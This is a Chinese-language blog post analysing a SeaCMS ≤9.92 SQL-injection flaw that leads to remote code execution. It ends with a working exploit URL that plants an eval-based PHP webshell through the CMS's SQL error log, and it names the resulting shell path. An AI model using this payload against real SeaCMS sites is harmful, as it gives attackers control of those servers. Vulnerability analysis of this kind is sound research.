seacms<=9.92前台getshell

官网地址:https://www.seacms.net

网站版本确认:http://website/data/admin/ver.txt

当前最新版本:https://www.seacms.net/api/ver.js

CMS下载地址:https://www.seacms.net/seacms.zip

今天团队内部分享了一个 seacms 最新版前台 getshell ,以前没分析过这个 CMS ,那就学习一下喽。

漏洞文件在 comment/api/index.php ,开头 require_once(“../../include/common.php”) 主要会做两件事。先将 $_GET、$_POST、$_COOKIE 注册成全局变量。(下图对应文件位置:include/filter.inc.php)

1

然后再检查这里是否存在非法变量名。不觉的这里有问题吗?正常逻辑应该是先检查变量名是否合法,然后再注册变量。还有一个问题就是,这里漏过滤了 _SESSION、_FILES ,我们继续往下看。(下图对应文件位置:include/common.php)

2

在下图第18行处调用了 ReadData 函数,我们跟进这个函数。在 ReadData 函数中,我们要关注 $rlist ,这个变量可以通过前面的全局变量注册来控制。而下面两个 Readmlist、Readrlist 都有用到这个变量,我们跟进。(下图对应文件位置:comment/api/index.php)

3

Readmlist 函数我们主要关注的是其对 $rlist 变量的过滤,具体过滤如下:(下图对应文件位置:comment/api/index.php)

4

然后再看 Readrlist 函数。这里的 $ids 其实就是刚才可控的 $rlist 变量,有没发现这里直接拼接在 SQL 语句中,而且没有引号包裹。而 getshell 也是发生在SQL语句执行这里。(下图对应文件位置:comment/api/index.php)

5

SQL 语句执行出错时, seacms 会把出错的信息写入一个 PHP 文件,这也是最终导致 getshell 的原因。(下图对应文件位置:include/sql.class.php)

6

EXP 如下:

1
2
http://localhost/seacms992/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E
# webshell地址:http://localhost/seacms992/data/mysqli_error_trace.php

7

不得不吐槽一句,这个 CMS 写的真的很烂,代码有很多问题:)

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/07/29/seacms9.92前台getshell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog